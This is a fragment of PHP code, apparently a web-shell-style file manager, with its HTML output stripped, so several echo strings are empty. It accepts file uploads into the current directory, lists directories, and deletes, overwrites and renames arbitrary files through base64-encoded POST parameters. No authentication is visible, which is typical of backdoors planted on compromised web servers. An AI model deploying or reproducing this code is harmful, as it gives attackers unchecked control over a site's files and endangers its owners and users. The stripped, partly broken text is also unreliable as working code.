"; foreach ($pathParts as $k => $v) { if ($v == "" && $k == 0) { echo "/"; continue; } $dirPath = implode("/", array_slice($pathParts, 0, $k + 1)); echo "$v/"; } echo ""; if (isset($_POST['s']) && isset($_FILES['u']) && $_FILES['u']['error'] == 0) { $fileName = $_FILES['u']['name']; $tmpName = $_FILES['u']['tmp_name']; $destination = $currentDir . '/' . $fileName; if (move_uploaded_file($tmpName, $destination)) { echo ""; } else { echo ""; } } $items = scandir($currentDir); if ($items !== false) { echo "
File/Folder Name | Size | Action |
---|---|---|
$item | -- | NONE |
$item | $size | " . "Delete" . "Edit" . "Rename" . " |
Unable to read directory!
"; } if (isset($_POST['del']) && !empty($_POST['del'])) { $filePath = base64_decode($_POST['del']); $fileDir = dirname($filePath); if (file_exists($filePath) && is_writable($filePath) && unlink($filePath)) { echo ""; } else { echo ""; } } if (isset($_POST['edit']) && !empty($_POST['edit'])) { $filePath = base64_decode($_POST['edit']); $fileDir = dirname($filePath); if (file_exists($filePath) && is_writable($filePath)) { echo "" . "<=Back" . ""; } } if (isset($_POST['save']) && isset($_POST['obj']) && isset($_POST['content'])) { $filePath = base64_decode($_POST['obj']); $fileDir = dirname($filePath); if (file_exists($filePath) && is_writable($filePath)) { file_put_contents($filePath, $_POST['content']); echo ""; } else { echo ""; } } if (isset($_POST['ren']) && !empty($_POST['ren'])) { $oldPath = base64_decode($_POST['ren']); $oldDir = dirname($oldPath); if (isset($_POST['new']) && !empty($_POST['new'])) { $newPath = $oldDir . '/' . $_POST['new']; if (file_exists($oldPath) && !file_exists($newPath) && rename($oldPath, $newPath)) { echo ""; } else { echo ""; } } else { echo ""; } } ?>